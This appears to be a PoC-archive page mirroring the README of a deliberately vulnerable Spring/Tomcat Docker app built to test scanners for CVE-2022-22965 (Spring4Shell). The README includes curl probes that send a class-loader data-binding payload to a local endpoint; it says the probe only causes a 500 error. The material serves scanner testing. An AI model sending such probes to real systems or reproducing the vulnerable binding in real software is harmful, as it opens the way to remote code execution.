Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1020 CNY

100%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Description
Intentionally vulnerable Spring app to test CVE-2022-22965
Readme
<h1 align="center">
  <br>
    spring4shell_victim
  <br>
  <br>
</h1>

<h4 align="center">Intentionally vulnerable Spring app to test CVE-2022-22965</h4>
<p align="center">For more information: <a href="https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/">https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/</a></p>
<p align="center">
  <a href="https://twitter.com/fracturelabs"><img src="https://img.shields.io/badge/twitter-%40fracturelabs-orange.svg" alt="@fracturelabs" height="18"></a>
  <a href="https://twitter.com/brkr19"><img src="https://img.shields.io/badge/twitter-%40brkr19-orange.svg" alt="@brkr19" height="18"></a>
</p>
<br>

# Usage

## Build
The following code will quickly build a vulnerable Docker image using the following components:
* JDK 11.0.14
* Tomcat 9.0.60
* Spring 2.6.4

```bash
git clone https://github.com/fracturelabs/spring4shell_victim.git
cd spring4shell_victim
docker image build -t spring4shell_victim .
```

## Run
```bash
docker container run -it -p 8080:8080 --name spring4shell_victim --rm spring4shell_victim
```

## Exploit
There are two routes defined: `/spring4shell_victim` and `/spring4shell_victim/vulnerable`. You can use this to verify any scanning tools are properly working. The default route (/) is specifically not vulnerable to get you to think about how to configure your scanning tools to find vulnerable endpoints.

### Example
```bash
# This route is not vulnerable
curl -is localhost:9000/spring4shell_victim/?class.module.classLoader.URLs%5b-1%5d

# This route is vulnerable
curl -is localhost:9000/spring4shell_victim/vulnerable?class.module.classLoader.URLs%5b-1%5d
```

![screenshot](https://user-images.githubusercontent.com/8271279/161859867-718f165a-6cca-4582-87f8-f6fc8d7bc56a.png)

### Verification
You can verify your code deployed correctly by connecting to a shell on the container and looking in the `/usr/local/tomcat/webapps/` directory.
```bash
docker exec -it spring4shell_victim /bin/bash
```
NOTE: The POC code above only causes a crash that you can detect (500 error). It does not actually upload any code.

File Snapshot

[4.0K] /data/pocs/bb677216e156b539fee7d63a0dc4b23e428f8c3a ├── [ 346] Dockerfile ├── [ 34K] LICENSE ├── [1.4K] pom.xml ├── [2.1K] README.md └── [4.0K] src └── [4.0K] main └── [4.0K] java └── [4.0K] io └── [4.0K] fracturelabs ├── [ 475] ExampleBean.java ├── [ 668] SpringBootApp.java └── [ 768] SpringBootController.java 5 directories, 7 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →